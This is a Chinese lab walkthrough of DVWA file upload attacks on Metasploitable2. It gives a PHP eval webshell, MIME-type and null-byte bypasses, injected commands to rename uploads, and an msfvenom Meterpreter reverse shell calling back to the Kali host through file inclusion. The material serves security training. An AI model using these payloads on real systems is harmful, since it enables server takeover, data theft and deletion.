环境:
Metasploitable2: 192.168.11.157 msfadmin/msfadmin dvwa版本:Version 1.0.7 (Release date: 08/09/10)
kail机器:192.168.11.156 root/Root_123
一、什么是文件上传漏洞?
文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回;
如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网;
上传漏洞原理图:
文件上传漏洞,通常是由于对上传文件的类型、内容没进行严格的审查、过滤,使得攻击者可以通过上传木马获取服务器的webshell权限。
入侵条件:
木马上传成功
知道木马的路径
木马能够正常运行
二、演示dvwa上的文件上传漏洞
2.1、编辑一句话木马
pass.php文件添加 <?php @eval($_POST['pass']);?>
@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['pass']表示从页面中获得pass这个参数值
2.2、低安全模式
low级别未对上传的文件进行任何验证,可以上传任意类型的文件
尝试上传木马文件php文件,成功:
直接打开木马文件http://192.168.11.157/dvwa/hackable/uploads/pass.php访问成功,但没有显示任何内容(因为是php文件)
通过中国蚁剑连接工具(或者中国菜刀)将url添加进去,密码为pass:
打开文件管理,进入后台成功:
2.3、中安全模式
限制文件类型image/jpeg和大小不能超过100000B(约为97.6KB)
2.3.1、可以利用burpsuite绕过
上传木马文件pass.php,更改文件类型为image/jpeg
攻击后发现上传成功:
2.3.2、00截断
将木马文件pass.php改名为pass.php.jpeg,上传pass.php.jpeg,同时开启burpsuite捕获
切换到Hex进制,将pass.php.jpeg截断为pass.php:
点击“forward”, 也可将pass.php成功上传:
2.4、高安全模式
文件后缀限制与大小限制
下面介绍几种绕过的方法。
2.4.1、将木马隐藏在图片中绕过(High文件上传+Low命令注入)
1、将木马文件pass.php与图片文件test.jpg合并为php.jpg
windows上(关闭实时防护)使用copy命令:copy test.jpg/b+pass.php/a php.jpg
linux上:cat pass.php >> test.jpg
可以看到,一句话木马被添加到图片的尾部(记事本查看或者cat php.jpg):
2、将php.jpg文件上传,成功:
3、选择命令注入(Command Execution):
调整dvwa的等级为low,在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads
结果如下:
4、然后通过命令注入方式输入以下命令来进行更改文件后缀
127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/php.php
再执行127.0.0.1|ls ../../hackable/uploads查看:
5、中国蚁剑查看,指定连接目录http://192.168.11.157/dvwa/hackable/uploads/php.php,参数为cmd,类型为PHP(eval):
2.4.2、用msfvenom生成的php代码的图片木马,图片欺诈头部绕过(High文件上传+Low文件包含)
1、首先用msfvenom生成一个PHP语言的IPG图片木马
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.11.156 lport=3333 >> /root/Desktop/any.jpg
2、上传图片木马any.png
3、在kali终端输入msfconsole进入控制台,输入如下指令
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.11.156
set lport 3333
run
4、dvwa选择low等级,切换到文件包含File Inclusion
5、在地址栏输入以下的地址并回车
http://192.168.11.157/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/any.jpg
6、msfconsole控制台就有生成一条会话
7、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件,然后测试随便删除一个文件,看看有没有权限,测试成功
三、参考
DVWA1.9之文件上传漏洞High级多种方法_晚安這個未知的世界的博客-CSDN博客_dvwa文件上传high级别
VMware之kali安装中国蚁剑_小豆饼的博客-CSDN博客_kali安装中国蚁剑